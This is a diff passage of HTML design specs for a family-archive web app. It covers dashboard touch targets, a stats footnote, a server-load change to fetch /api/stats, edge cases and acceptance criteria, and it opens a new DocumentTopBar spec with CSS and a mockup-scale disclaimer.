<td>Doc row touch target</td>
|
||||
<td><code>flex items-center justify-between py-3 border-b border-line</code></td>
|
||||
<td><span class="ir-px">min-h 44px via py-3 + content</span></td>
|
||||
<td><strong>Most commonly undersized.</strong> py-3 (12px × 2) + 18px text = ~42px. Add <code>min-h-[44px]</code> to guarantee WCAG 2.5.5</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Metadata row touch target</td>
|
||||
<td><code>flex items-center border-b border-line py-3</code></td>
|
||||
<td><span class="ir-px">min-h 44px</span></td>
|
||||
<td>Same rule — <code>min-h-[44px]</code> required</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Upload zone (mobile)</td>
|
||||
<td>Existing DropZone — no change to component</td>
|
||||
<td><span class="ir-px">full width, py-6</span></td>
|
||||
<td>Entire zone is the click target — WCAG 2.5.5 satisfied by size</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ══════════════════════════════════
|
||||
SECTION 3 — RECENT ACTIVITY CARD + STATS FOOTNOTE
|
||||
══════════════════════════════════ -->
|
||||
<div class="sec">
|
||||
<div class="sec-h"><span class="sec-num">3</span> Recent Activity Card — stats footnote detail</div>
|
||||
|
||||
<div class="sg sg-2" style="align-items:start">
|
||||
<div class="sb">
|
||||
<div class="sl">Component detail</div>
|
||||
|
||||
<!-- Card mockup -->
|
||||
<div class="CARD" style="max-width:460px">
|
||||
<div class="CARD-HEAD">
|
||||
<h3>Recent Activity</h3>
|
||||
<a href="#">All documents →</a>
|
||||
</div>
|
||||
<div class="DOC-ROW"><span class="DOC-TITLE">E28 History Tee Dokument (bearbeitet)</span><span class="DOC-DATE">31. März 2026</span></div>
|
||||
<div class="DOC-ROW"><span class="DOC-TITLE">E28 History Tee Dokument (bearbeitet)</span><span class="DOC-DATE">31. März 2026</span></div>
|
||||
<div class="DOC-ROW"><span class="DOC-TITLE">E28 History Tee Dokument (bearbeitet)</span><span class="DOC-DATE">31. März 2026</span></div>
|
||||
<div class="DOC-ROW"><span class="DOC-TITLE">E28 Hash Tee — review</span><span class="DOC-DATE">30. März 2026</span></div>
|
||||
<div class="DOC-ROW"><span class="DOC-TITLE">E28 Hash Tee — version</span><span class="DOC-DATE">30. März 2026</span></div>
|
||||
<div class="CARD-FOOT" style="display:flex;align-items:center;justify-content:space-between">
|
||||
<span class="CARD-FOOT-TEXT">248 Documents · 34 Persons</span>
|
||||
<!-- middle dot acts as separator, not a color-only cue -->
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="ann-block">
|
||||
<strong>Stats footnote rules</strong>
|
||||
<ul>
|
||||
<li>Only renders when <code>stats?.totalDocuments != null</code></li>
|
||||
<li>Persons count follows only when <code>stats?.totalPersons != null</code></li>
|
||||
<li>The middle dot <code>·</code> is a text separator — not a visual-only cue</li>
|
||||
<li>Uses <code>text-ink-3</code> token — light enough to recede, but still WCAG AA (4.5:1) on white surface</li>
|
||||
<li>No units abbreviation: "248 Documents", not "248 docs" — plain language for seniors</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="sb">
|
||||
<div class="sl">Component prop change</div>
|
||||
<div style="background:#fff;border:1px solid #E0DDD5;border-radius:6px;padding:16px 18px;font-size:11px;line-height:1.7;color:#333;display:flex;flex-direction:column;gap:12px">
|
||||
|
||||
<div>
|
||||
<div style="font-size:9px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#888;margin-bottom:6px">DashboardRecentDocuments.svelte — new prop</div>
|
||||
<pre style="background:#0d1117;color:#a5d6ff;font-family:monospace;font-size:10px;padding:12px 14px;border-radius:5px;line-height:1.8;overflow-x:auto">interface Props {
|
||||
recentDocs: Document[];
|
||||
stats?: {
|
||||
totalDocuments?: number;
|
||||
totalPersons?: number;
|
||||
} | null;
|
||||
}</pre>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<div style="font-size:9px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#888;margin-bottom:6px">Footnote template snippet</div>
|
||||
<pre style="background:#0d1117;color:#a5d6ff;font-family:monospace;font-size:10px;padding:12px 14px;border-radius:5px;line-height:1.8;overflow-x:auto">{#if stats?.totalDocuments != null}
|
||||
<div class="mt-2 border-t border-line
|
||||
pt-3 font-sans text-xs
|
||||
text-ink-3">
|
||||
{stats.totalDocuments}
|
||||
{m.dashboard_stats_documents()}
|
||||
{#if stats.totalPersons != null}
|
||||
·
|
||||
{stats.totalPersons}
|
||||
{m.dashboard_stats_persons()}
|
||||
{/if}
|
||||
</div>
|
||||
{/if}</pre>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<div style="font-size:9px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#888;margin-bottom:6px">New i18n keys (all 3 locales)</div>
|
||||
<table style="width:100%;font-size:10px;border-collapse:collapse">
|
||||
<thead><tr style="border-bottom:1.5px solid #E0DDD5"><th style="text-align:left;padding:4px 6px;font-size:8px;font-weight:800;color:#888;text-transform:uppercase">Key</th><th style="text-align:left;padding:4px 6px;font-size:8px;font-weight:800;color:#888;text-transform:uppercase">de</th><th style="text-align:left;padding:4px 6px;font-size:8px;font-weight:800;color:#888;text-transform:uppercase">en</th><th style="text-align:left;padding:4px 6px;font-size:8px;font-weight:800;color:#888;text-transform:uppercase">es</th></tr></thead>
|
||||
<tbody>
|
||||
<tr style="border-bottom:1px solid #F0EDE6"><td style="padding:4px 6px;font-family:monospace;font-size:9px">dashboard_stats_documents</td><td style="padding:4px 6px">Dokumente</td><td style="padding:4px 6px">Documents</td><td style="padding:4px 6px">Documentos</td></tr>
|
||||
<tr><td style="padding:4px 6px;font-family:monospace;font-size:9px">dashboard_stats_persons</td><td style="padding:4px 6px">Personen</td><td style="padding:4px 6px">Persons</td><td style="padding:4px 6px">Personas</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="impl-ref">
|
||||
<div class="impl-ref-hdr">Implementation Reference — Recent Activity Card
|
||||
<span>Real values · mockup above is ~55% scale</span>
|
||||
</div>
|
||||
<table>
|
||||
<thead><tr><th>Element</th><th>Tailwind classes</th><th>Real size</th><th>Notes</th></tr></thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>Card container</td>
|
||||
<td><code>rounded-sm border border-line bg-surface</code></td>
|
||||
<td><span class="ir-px">border 1px</span></td>
|
||||
<td>Unchanged from existing DashboardRecentDocuments styles</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Card heading row</td>
|
||||
<td><code>flex items-center justify-between px-4 pt-4 pb-3</code></td>
|
||||
<td><span class="ir-px">px 16px, pt 16px, pb 12px</span></td>
|
||||
<td>Unchanged</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Section heading text</td>
|
||||
<td><code>font-sans text-xs font-bold tracking-widest text-gray-400 uppercase</code></td>
|
||||
<td><span class="ir-px">12px / 700</span></td>
|
||||
<td>Unchanged</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Document title</td>
|
||||
<td><code>font-serif text-lg text-ink hover:text-ink-2 hover:underline</code></td>
|
||||
<td><span class="ir-px">18px / 400 — most commonly undersized</span></td>
|
||||
<td><strong>Must not fall below 18px.</strong> Serves both readability (seniors) and visual hierarchy</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Date label</td>
|
||||
<td><code>ml-2 shrink-0 font-sans text-xs text-gray-400</code></td>
|
||||
<td><span class="ir-px">12px</span></td>
|
||||
<td>Minimum permitted size for supplementary metadata — do not reduce further</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Document row</td>
|
||||
<td><code>flex items-center justify-between border-b border-line py-2 px-4 last:border-0</code></td>
|
||||
<td><span class="ir-px">py 8px, min-h ~44px with 18px text</span></td>
|
||||
<td>Add <code>min-h-[44px]</code> to guarantee WCAG 2.5.5 touch target</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Stats footnote wrapper</td>
|
||||
<td><code>mt-2 border-t border-line px-4 pt-3 pb-4 font-sans text-xs text-ink-3</code></td>
|
||||
<td><span class="ir-px">12px / 400, pt 12px, pb 16px</span></td>
|
||||
<td>New addition. <code>text-ink-3</code> token must pass 4.5:1 on <code>bg-surface</code> — verify in both light and dark mode</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ══════════════════════════════════
|
||||
SECTION 4 — SERVER DATA CHANGES
|
||||
══════════════════════════════════ -->
|
||||
<div class="sec">
|
||||
<div class="sec-h"><span class="sec-num">4</span> Server Data Changes — +page.server.ts</div>
|
||||
|
||||
<div class="sg sg-2" style="align-items:start">
|
||||
<div style="background:#fff;border:1px solid #E0DDD5;border-radius:6px;padding:16px 18px;font-size:11px;line-height:1.7;color:#333;display:flex;flex-direction:column;gap:14px">
|
||||
|
||||
<div>
|
||||
<div style="font-size:9px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#DC2626;margin-bottom:6px">Remove</div>
|
||||
<ul style="padding-left:16px;display:flex;flex-direction:column;gap:4px">
|
||||
<li>The <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">/api/notifications</code> fetch from <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">Promise.allSettled</code> — the bell component fetches its own data client-side</li>
|
||||
<li>The <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">mentions: NotificationDTO[]</code> variable and its allSettled result handling</li>
|
||||
<li>The <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">mentions</code> key from the return object</li>
|
||||
<li>The <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">NotificationDTO</code> type import (no longer used in this file)</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<div style="font-size:9px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#002850;margin-bottom:6px">Add</div>
|
||||
<ul style="padding-left:16px;display:flex;flex-direction:column;gap:4px">
|
||||
<li>A <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">/api/stats</code> GET call inside the <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">isDashboard</code> allSettled block</li>
|
||||
<li><code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">stats: StatsDTO | null</code> in the return — <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">null</code> on any failure</li>
|
||||
<li><code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">StatsDTO</code> import from generated types (already in <code style="background:#F5F5F5;padding:0 4px;border-radius:2px;font-size:10px">src/lib/generated/api.ts</code>)</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div style="background:#0d1117;border-radius:6px;overflow:hidden;border:1px solid #30363d">
|
||||
<div style="background:#161b22;padding:8px 14px;font-size:9px;font-weight:800;color:#f0883e;border-bottom:1px solid #30363d;text-transform:uppercase;letter-spacing:.4px">allSettled block — after change</div>
|
||||
<pre style="color:#a5d6ff;font-family:monospace;font-size:10px;padding:14px 16px;line-height:1.8;overflow-x:auto">const [incompleteResult,
|
||||
recentResult,
|
||||
statsResult] =
|
||||
await Promise.allSettled([
|
||||
api.GET('/api/documents/incomplete',
|
||||
{ params: { query: { size: 5 } } }),
|
||||
api.GET('/api/documents/recent-activity',
|
||||
{ params: { query: { size: 5 } } }),
|
||||
api.GET('/api/stats'),
|
||||
]);
|
||||
|
||||
<span style="color:#8b949e">// … existing incomplete/recent handling …</span>
|
||||
|
||||
let stats: StatsDTO | null = null;
|
||||
if (statsResult.status === 'fulfilled'
|
||||
&& statsResult.value.response.ok) {
|
||||
stats = statsResult.value.data ?? null;
|
||||
}</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ══════════════════════════════════
|
||||
SECTION 5 — CHANGES SUMMARY
|
||||
══════════════════════════════════ -->
|
||||
<div class="sec">
|
||||
<div class="sec-h"><span class="sec-num">5</span> Changes Summary</div>
|
||||
|
||||
<div class="CHANGES">
|
||||
<h2>All files touched</h2>
|
||||
<div class="CHANGES-GRID">
|
||||
<div class="C-COL add">
|
||||
<h3>Added / New behaviour</h3>
|
||||
<ul>
|
||||
<li><code>mt-4 grid grid-cols-1 gap-4 lg:grid-cols-[1fr_300px]</code> grid in +page.svelte</li>
|
||||
<li><code>stats</code> prop on DashboardRecentDocuments</li>
|
||||
<li>Stats footnote inside DashboardRecentDocuments</li>
|
||||
<li><code>/api/stats</code> fetch in +page.server.ts</li>
|
||||
<li><code>dashboard_stats_documents</code> i18n key (de / en / es)</li>
|
||||
<li><code>dashboard_stats_persons</code> i18n key (de / en / es)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="C-COL remove">
|
||||
<h3>Removed</h3>
|
||||
<ul>
|
||||
<li><code>DashboardMentions</code> import and usage in +page.svelte</li>
|
||||
<li><code>/api/notifications</code> fetch from server load</li>
|
||||
<li><code>mentions</code> variable and return value in server load</li>
|
||||
<li><code>NotificationDTO</code> import in +page.server.ts</li>
|
||||
<li>The conditional 2-col grid for mentions+metadata</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="C-COL keep">
|
||||
<h3>Kept unchanged</h3>
|
||||
<ul>
|
||||
<li><code>DashboardMentions.svelte</code> file (not deleted)</li>
|
||||
<li><code>DashboardNeedsMetadata.svelte</code> (no changes)</li>
|
||||
<li><code>DashboardResumeStrip.svelte</code> (no changes)</li>
|
||||
<li><code>DropZone.svelte</code> (no changes)</li>
|
||||
<li><code>NotificationBell.svelte</code> — already has "View all" link</li>
|
||||
<li><code>SearchFilterBar.svelte</code> (no changes)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="C-COL keep">
|
||||
<h3>Explicitly out of scope</h3>
|
||||
<ul>
|
||||
<li>Dedicated <code>/notifications</code> overview page</li>
|
||||
<li>DropZone accepted file types or upload behaviour</li>
|
||||
<li>Dark mode token adjustments</li>
|
||||
<li>Backend changes (none needed)</li>
|
||||
<li>Any changes to admin, persons, or correspondence routes</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ══════════════════════════════════
|
||||
SECTION 6 — EDGE CASES
|
||||
══════════════════════════════════ -->
|
||||
<div class="sec">
|
||||
<div class="sec-h"><span class="sec-num">6</span> Edge Cases</div>
|
||||
|
||||
<div class="sg sg-2" style="align-items:start">
|
||||
<div>
|
||||
<div class="EDGE">
|
||||
<div class="EDGE-LABEL">Read-only user (no canWrite)</div>
|
||||
<div class="EDGE-BODY">DropZone is hidden. Right column contains only DashboardNeedsMetadata. If there are also no incomplete documents, the right <code><div class="flex flex-col gap-4"></code> is empty — the grid column produces no visual gap, recent activity expands naturally.</div>
|
||||
</div>
|
||||
<div class="EDGE">
|
||||
<div class="EDGE-LABEL">No incomplete documents</div>
|
||||
<div class="EDGE-BODY">DashboardNeedsMetadata renders nothing (already guarded by <code>incompleteDocs.length > 0</code>). Combined with a canWrite user, the right column shows only the upload zone.</div>
|
||||
</div>
|
||||
<div class="EDGE">
|
||||
<div class="EDGE-LABEL">No recent documents (new / empty archive)</div>
|
||||
<div class="EDGE-BODY">DashboardRecentDocuments already handles empty state (renders nothing when <code>recentDocs.length === 0</code>). Stats footnote still renders as long as the API call succeeded — "0 Documents · 0 Persons" is valid and informative.</div>
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<div class="EDGE">
|
||||
<div class="EDGE-LABEL">/api/stats fetch fails</div>
|
||||
<div class="EDGE-BODY"><code>Promise.allSettled</code> isolates the failure. <code>stats</code> is returned as <code>null</code>. The <code>{#if stats?.totalDocuments != null}</code> guard silently suppresses the footnote. Everything else renders normally — no error banner, no visual regression.</div>
|
||||
</div>
|
||||
<div class="EDGE">
|
||||
<div class="EDGE-LABEL">No last-visited document in localStorage</div>
|
||||
<div class="EDGE-BODY">DashboardResumeStrip already handles this — it renders nothing. No gap between search bar and the dashboard grid.</div>
|
||||
</div>
|
||||
<div class="EDGE">
|
||||
<div class="EDGE-LABEL">Very long document title in recent activity</div>
|
||||
<div class="EDGE-BODY">Title should be truncated with <code>truncate</code> Tailwind class (already present in existing component — verify). The date label has <code>shrink-0</code> so it is never squeezed off-screen.</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ══════════════════════════════════
|
||||
SECTION 7 — ACCEPTANCE CRITERIA
|
||||
══════════════════════════════════ -->
|
||||
<div class="sec">
|
||||
<div class="sec-h"><span class="sec-num">7</span> Acceptance Criteria</div>
|
||||
|
||||
<div class="AC">
|
||||
<div class="AC-ITEM">Dashboard page no longer renders the notifications/mentions widget. The bell icon in the header continues to work and its dropdown still shows the "View all notifications" link.</div>
|
||||
<div class="AC-ITEM">On viewports ≥ 1024 px the dashboard shows a two-column grid: recent activity left (~remaining width), sidebar right (300 px fixed). <span class="tag tag-mobile">mobile</span></div>
|
||||
<div class="AC-ITEM">On viewports < 1024 px the columns stack: recent docs first, upload zone second, needs-metadata third. <span class="tag tag-mobile">mobile</span></div>
|
||||
<div class="AC-ITEM">All interactive document rows have a minimum touch target height of 44 px. <span class="tag tag-a11y">WCAG 2.5.5</span></div>
|
||||
<div class="AC-ITEM">Document titles in the recent-activity list render at minimum 18 px (Merriweather serif, <code>text-lg</code>). <span class="tag tag-a11y">WCAG 1.4.4</span></div>
|
||||
<div class="AC-ITEM">Stats footnote "248 Documents · 34 Persons" appears at the bottom of the recent-activity card in <code>text-xs text-ink-3</code>. It is absent when the <code>/api/stats</code> call fails or returns null. <span class="tag tag-data">data</span></div>
|
||||
<div class="AC-ITEM">Read-only users (no canWrite permission) do not see the upload zone. The dashboard still renders correctly without it.</div>
|
||||
<div class="AC-ITEM">When no incomplete documents exist, the Needs Metadata card is absent. The right column shows only the upload zone (or is empty for read-only users) — no visual gap or empty box.</div>
|
||||
<div class="AC-ITEM"><code>npm run check</code> passes — no TypeScript errors. The new <code>stats</code> prop on DashboardRecentDocuments is typed as <code>StatsDTO | null | undefined</code>.</div>
|
||||
<div class="AC-ITEM"><code>npm run lint</code> passes — no Prettier or ESLint errors.</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
730
docs/specs/document-topbar-final-spec.html
Normal file
730
docs/specs/document-topbar-final-spec.html
Normal file
@@ -0,0 +1,730 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="de">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>DocumentTopBar — Final Implementation Spec</title>
|
||||
<style>
|
||||
*,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
|
||||
body{font-family:'Helvetica Neue',Arial,sans-serif;background:#ECEAE4;color:#1A1A1A;line-height:1.5}
|
||||
.page{max-width:1360px;margin:0 auto;padding:48px 32px}
|
||||
.mh{padding-bottom:24px;border-bottom:3px solid #012851;margin-bottom:32px}
|
||||
.mh h1{font-size:22px;font-weight:900;color:#012851;letter-spacing:-.4px}
|
||||
.mh p{font-size:12.5px;color:#555;max-width:680px;line-height:1.7;margin-top:6px}
|
||||
.mh .byline{font-size:9px;color:#AAA;font-weight:700;letter-spacing:1.5px;text-transform:uppercase;margin-top:8px}
|
||||
.sh{margin:56px 0 28px;padding-bottom:12px;border-bottom:2px solid #E0DDD6}
|
||||
.sh h2{font-size:16px;font-weight:900;color:#012851}
|
||||
.sh p{font-size:12px;color:#666;margin-top:4px;max-width:700px;line-height:1.6}
|
||||
.grid{display:flex;gap:20px;flex-wrap:wrap;margin-bottom:32px;align-items:flex-start}
|
||||
.col{display:flex;flex-direction:column;gap:6px}
|
||||
.lbl{font-size:8px;font-weight:800;text-transform:uppercase;letter-spacing:1.2px;color:#888;display:flex;align-items:center;gap:5px}
|
||||
.tag{background:#E4E0DA;color:#666;padding:1px 5px;border-radius:2px;font-size:7px;font-weight:700}
|
||||
.cap{font-size:9.5px;color:#999;font-style:italic;line-height:1.55;max-width:460px}
|
||||
.chrome{background:#F0EFE9;border:1.5px solid #C4C0BA;border-radius:7px;overflow:hidden;box-shadow:0 3px 14px rgba(0,0,0,.09)}
|
||||
.chrome.dark{background:#060C12;border-color:#0A1520}
|
||||
.bar{height:20px;background:#E0DDD6;border-bottom:1px solid #C4C0BA;display:flex;align-items:center;padding:0 7px;gap:3px}
|
||||
.chrome.dark .bar{background:#0A1218;border-bottom-color:#0A1520}
|
||||
.dot{width:5px;height:5px;border-radius:50%;background:#BDB8B1}
|
||||
.chrome.dark .dot{background:#1A2A3A}
|
||||
.url{flex:1;height:8px;background:#CCC8C2;border-radius:5px;margin-left:4px}
|
||||
.chrome.dark .url{background:#1A2A3A}
|
||||
.nav{height:32px;background:#012851;display:flex;align-items:center;padding:0 12px;gap:8px;flex-shrink:0}
|
||||
.nav.dark{background:#060C12}
|
||||
.nav-logo{font-size:7px;font-weight:900;color:#fff;letter-spacing:.8px;border-bottom:2px solid #A1DCD8;padding-bottom:1px}
|
||||
.nav-link{font-size:5.5px;color:rgba(255,255,255,.4);font-weight:700;text-transform:uppercase}
|
||||
.nav-r{margin-left:auto;display:flex;gap:5px;align-items:center}
|
||||
.nav-av{width:16px;height:16px;background:rgba(255,255,255,.1);border-radius:50%;display:flex;align-items:center;justify-content:center;font-size:5px;font-weight:800;color:rgba(255,255,255,.5)}
|
||||
.pdf{background:#D4D0C8;display:flex;align-items:center;justify-content:center;flex-shrink:0}
|
||||
.pdf.dark{background:#08121C}
|
||||
.paper{background:#FFFEF8;width:55%;box-shadow:0 2px 8px rgba(0,0,0,.14);border-radius:1px;padding:9px 11px;display:flex;flex-direction:column;gap:2px}
|
||||
.paper.dark{background:#0D1820}
|
||||
.pl{height:3px;background:#C4BDB0;border-radius:1px;opacity:.5;margin-bottom:2px}
|
||||
.ps{height:2px;background:#C4BDB0;border-radius:1px;opacity:.28;margin-bottom:1.5px}
|
||||
.paper.dark .pl{background:#1E2D3D}
|
||||
.paper.dark .ps{background:#162230}
|
||||
.chip{display:inline-flex;align-items:center;gap:2px;padding:2px 6px 2px 3px;background:#F0EFE9;border:1px solid #DDD9D0;border-radius:10px;white-space:nowrap;flex-shrink:0}
|
||||
.chip.dk{background:#0A1218;border-color:#1E2D3D}
|
||||
.av{border-radius:50%;background:#012851;display:flex;align-items:center;justify-content:center;font-weight:800;color:#A1DCD8;flex-shrink:0}
|
||||
.av.purple{background:#5A3080;color:#fff}
|
||||
.av.teal{background:#007596;color:#fff}
|
||||
.av.moss{background:#2A6040;color:#fff}
|
||||
.av.rust{background:#803020;color:#fff}
|
||||
.cn{font-weight:600;color:#333;white-space:nowrap}
|
||||
.cn.dk{color:#8AAABB}
|
||||
.ov{display:inline-flex;align-items:center;padding:2px 6px;background:#E8E4DC;border:1px solid #DDD9D0;border-radius:10px;font-weight:700;color:#666;white-space:nowrap;flex-shrink:0}
|
||||
.ov.dk{background:#0A1218;border-color:#1E2D3D;color:#4E6070}
|
||||
.arr{color:#C4C0B8;flex-shrink:0}
|
||||
.arr.dk{color:#1E2D3D}
|
||||
.btn-p{height:26px;padding:0 10px;background:#012851;color:#A1DCD8;font-size:6.5px;font-weight:800;text-transform:uppercase;letter-spacing:.5px;border-radius:3px;display:inline-flex;align-items:center;gap:4px;white-space:nowrap;flex-shrink:0}
|
||||
.btn-p.dk{background:#A1DCD8;color:#012851}
|
||||
.btn-g{height:26px;padding:0 9px;border:1.5px solid #C8C4BE;color:#444;font-size:6.5px;font-weight:700;text-transform:uppercase;letter-spacing:.4px;border-radius:3px;display:inline-flex;align-items:center;gap:4px;white-space:nowrap;flex-shrink:0}
|
||||
.btn-g.dk{border-color:#1E2D3D;color:#6080A0}
|
||||
.btn-g.on{background:#012851;border-color:#012851;color:#A1DCD8}
|
||||
.btn-g.on.dk{background:#A1DCD8;border-color:#A1DCD8;color:#012851}
|
||||
.ico{width:26px;height:26px;border:1.5px solid #C8C4BE;border-radius:3px;display:inline-flex;align-items:center;justify-content:center;flex-shrink:0;color:#888}
|
||||
.ico.dk{border-color:#1E2D3D;color:#4E6070}
|
||||
.dv{width:1px;background:#E4E2D8;flex-shrink:0}
|
||||
.dv.dk{background:#1E2D3D}
|
||||
.dl::before{content:'';display:block;width:2px;height:5px;background:currentColor;margin:0 auto}
|
||||
.dl{width:9px;height:6px;border-bottom:2px solid currentColor;border-left:2px solid transparent;border-right:2px solid transparent}
|
||||
.hint{height:18px;background:rgba(1,40,81,.05);border-top:1px dashed rgba(1,40,81,.12);display:flex;align-items:center;padding:0 14px;gap:8px}
|
||||
.hint.dk{background:rgba(161,220,216,.04);border-top-color:rgba(161,220,216,.1)}
|
||||
.hint-lbl{font-size:5.5px;font-weight:800;color:#012851;text-transform:uppercase;letter-spacing:.5px}
|
||||
.hint-lbl.dk{color:#A1DCD8}
|
||||
.hint-txt{font-size:5.5px;color:#888}
|
||||
.st-up{display:inline-flex;align-items:center;gap:2px;padding:1px 5px;border-radius:3px;font-size:5.5px;font-weight:800;text-transform:uppercase;letter-spacing:.4px;background:#D1FAE5;border:1px solid #6EE7B7;color:#065F46;flex-shrink:0}
|
||||
.st-up.dk{background:rgba(209,250,229,.07);color:#6EE7B7;border-color:rgba(110,231,183,.2)}
|
||||
.st-dot{width:4px;height:4px;border-radius:50%;background:#10B981}
|
||||
hr{border:none;border-top:2px dashed #C8C4BE;margin:60px 0}
|
||||
.rules{background:#fff;border:1px solid #E0DDD6;border-radius:6px;overflow:hidden;margin-top:28px}
|
||||
.rules table{width:100%;border-collapse:collapse}
|
||||
.rules th{background:#F4F2EC;font-size:8px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#888;padding:8px 12px;text-align:left;border-bottom:1px solid #E0DDD6}
|
||||
.rules td{font-size:11px;color:#444;padding:8px 12px;border-bottom:1px solid #F0EEE8;vertical-align:top;line-height:1.55}
|
||||
.rules tr:last-child td{border-bottom:none}
|
||||
.rules td:first-child{font-size:9px;font-weight:700;color:#012851;white-space:nowrap;width:110px}
|
||||
.rules td code{font-size:9px;background:#F0EFE9;padding:1px 4px;border-radius:2px;color:#555}
|
||||
/* ── spec-disclaimer ── */
|
||||
.spec-disclaimer{background:#FFF8E1;border:1.5px solid #FFC107;border-radius:6px;padding:11px 16px;font-size:11px;color:#6D4C00;margin-bottom:32px;line-height:1.6}
|
||||
.spec-disclaimer strong{font-weight:800}
|
||||
/* ── impl-ref ── */
|
||||
.impl-ref{background:#0d1117;border-radius:8px;margin-top:20px;overflow:hidden;border:1px solid #30363d}
|
||||
.impl-ref-hdr{background:#161b22;padding:9px 16px;font-size:9.5px;font-weight:800;color:#f0883e;border-bottom:1px solid #30363d;display:flex;align-items:center;gap:8px;letter-spacing:.4px;text-transform:uppercase}
|
||||
.impl-ref-hdr::before{content:'⚙';font-size:12px}
|
||||
.impl-ref-hdr span{color:rgba(240,136,62,.55);font-weight:400;margin-left:auto;font-size:9px;text-transform:none;letter-spacing:0}
|
||||
.impl-ref table{width:100%;border-collapse:collapse;font-size:10px}
|
||||
.impl-ref th{text-align:left;font-size:8px;font-weight:800;text-transform:uppercase;letter-spacing:.8px;color:#8b949e;padding:8px 14px;border-bottom:1px solid #21262d}
|
||||
.impl-ref td{padding:6px 14px;border-bottom:1px solid #161b22;vertical-align:top;line-height:1.6;color:#c9d1d9}
|
||||
.impl-ref tr:last-child td{border-bottom:none}
|
||||
.impl-ref td:first-child{color:#79c0ff;font-weight:700;white-space:nowrap;width:200px}
|
||||
.impl-ref td code{font-family:'SFMono-Regular',Consolas,monospace;font-size:9.5px;background:#161b22;color:#a5d6ff;padding:1px 5px;border-radius:3px;white-space:nowrap}
|
||||
.impl-ref .ir-px{color:#7ee787;font-family:monospace;font-size:9.5px}
|
||||
.impl-ref .ir-warn{color:#f0883e;font-style:italic}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="page">
|
||||
|
||||
<div class="mh">
|
||||
<h1>DocumentTopBar — Final Implementation Spec</h1>
|
||||
<p>Authoritative implementation reference for the responsive DocumentTopBar component. Incorporates all resolutions from the issue #161 team review (Felix Brandt, Markus Keller, Sara Holt, Nora Steiner, Tobias Wendt, Leonie Voss). Supersedes <code>document-topbar-b1-responsive.html</code> — refer to that file for additional visual mockup detail.</p>
|
||||
<div class="byline">Familienarchiv · 2026-03-31 · Leonie Voss, UX Lead — Final spec after review</div>
|
||||
</div>
|
||||
|
||||
<div class="spec-disclaimer">
|
||||
<strong>📐 Mockup scale notice —</strong> all font-size, height, and padding values in the mockup CSS below are scaled to ~55% of actual implementation values.
|
||||
<strong>Do not copy sizes from mockup CSS.</strong> Use the ⚙ Implementation Reference tables after each section. Mockup CSS is for visual preview only.
|
||||
<br><strong>⚠ This spec overrides the B1 spec</strong> — font sizes, heights, status chip, overflow pill, and touch targets have all changed. Key corrections: title min <code>text-[11px]</code>, chip names <code>text-[9px]</code>, topbar heights <code>h-12/h-14</code>, status chip dot-only, edit button icon-only on mobile.
|
||||
</div>
|
||||
|
||||
|
||||
<!-- ══════════════════════════════════════════
|
||||
SECTION 0 — COMPONENT ARCHITECTURE
|
||||
══════════════════════════════════════════ -->
|
||||
<div class="sh">
|
||||
<h2>0 · Component architecture</h2>
|
||||
<p>Decompose into these components. Never merge into a single monolith — each has a clear single visual responsibility and must be independently testable.</p>
|
||||
</div>
|
||||
|
||||
<div class="rules">
|
||||
<table>
|
||||
